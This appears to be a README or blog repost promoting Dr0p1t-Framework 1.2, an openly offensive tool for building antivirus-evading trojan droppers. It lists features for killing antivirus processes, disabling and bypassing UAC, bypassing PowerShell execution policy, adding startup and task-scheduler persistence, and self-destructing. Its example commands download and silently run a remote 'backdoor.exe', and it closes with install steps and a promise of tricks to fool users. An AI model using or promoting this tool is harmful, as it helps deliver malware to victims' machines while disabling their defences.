Dr0p1t-Framework 1.2 – A Framework That Creates An Advanced FUD Dropper With Some Tricks

Have you ever heard about trojan droppers ?

In short dropper is type of trojans that downloads other malwares and Dr0p1t gives you the chance to create a dropper that bypass most AVs and have some tricks 😉

Features

  • Framework works with Windows and Linux
  • Download executable on target system and execute it silently..
  • The executable size small compared to other droppers generated the same way
  • Self destruct function so that the dropper will kill and delete itself after finishing it work
  • Adding executable after downloading it to startup
  • Adding executable after downloading it to task scheduler ( UAC not matters )
  • Finding and killing the antivirus before running the malware
  • Running a custom ( batch|powershell|vbs ) file you have chosen before running the executable
  • The ability to disable UAC
  • In running powershell scripts it can bypass execution policy
  • Using UPX to compress the dropper after creating it
  • Choose an icon for the dropper after creating it


Screenshots

On Windows

On Linux (Backbox)

Help menu

Usage: Dr0p1t.py Malware_Url [Options]

options:
-h, --help show this help message and exit
-s Add your malware to startup (Persistence)
-t Add your malware to task scheduler (Persistence)
-k Kill antivirus process before running your malware.
-b Run this batch script before running your malware. Check scripts folder
-p Run this powershell script before running your malware. Check scripts folder
-v Run this vbs script before running your malware. Check scripts folder
--only32 Download your malware for 32 bit devices only
--only64 Download your malware for 64 bit devices only
--upx Use UPX to compress the final file.
--nouac Disable UAC on victim device
--nocompile Tell the framework to not compile the final file.
-i Use icon to the final file. Check icons folder.
-q Stay quite ( no banner )
-u Check for updates
-nd Display less output information

Examples

./Dr0p1t.py https://test.com/backdoor.exe -s -t -k --upx
./Dr0p1t.py https://test.com/backdoor.exe -k -b block_online_scan.bat --only32
./Dr0p1t.py https://test.com/backdoor.exe -s -t -k -p Enable_PSRemoting.ps1
./Dr0p1t.py https://test.com/backdoor.exe -s -t -k --nouac -i flash.ico

Prerequisites

  • Python 2 or Python 3.

The recommended version for Python 2 is 2.7.x , the recommended version for Python 3 is 3.5.x and don’t use 3.6 because it’s not supported yet by PyInstaller

  • Python libraries requirements in requirements.txt

Needed dependencies for linux

  • Wine
  • Python 2.7 on Wine Machine

Note : You must have root access

Installation
if you are on linux and do

git clone https://github.com/D4Vinci/Dr0p1t-Framework
chmod 777 -R Dr0p1t-Framework
cd Dr0p1t-Framework
pip install -r requirements.txt
./Dr0p1t.py

And if you are on windows download it and then do

cd Dr0p1t-Framework
pip install -r requirements.txt
pip install -r windows_requirements.txt
./Dr0p1t.py

Libraries in windows_requirements.txt are used to enable unicodes in windows which will make coloring possible 

Tested on:

  • Kali Linux – SANA
  • Ubuntu 14.04-16.04 LTS
  • Windows 10/8.1/8

Changelog v1.2

  • Pyinstaller compiling in Linux using wine
  • Pyinstaller compiling in Windows will not use UPX and that will fix the compiling in windows
  • Added the ability to disable and bypass UAC
  • Updated the antivirus list in the antivirus killer
  • Added SelfDestruct function so that the dropper will kill and delete itself after finishing it work :smile:
  • Full framework rewrite and recheck to fix errors, typos and replacing some libraries to make the size of the final file smaller
  • Started working in some SE tricks to fool the user and there’s a lot of good options in the way 😉 Stay Tuned

Contact

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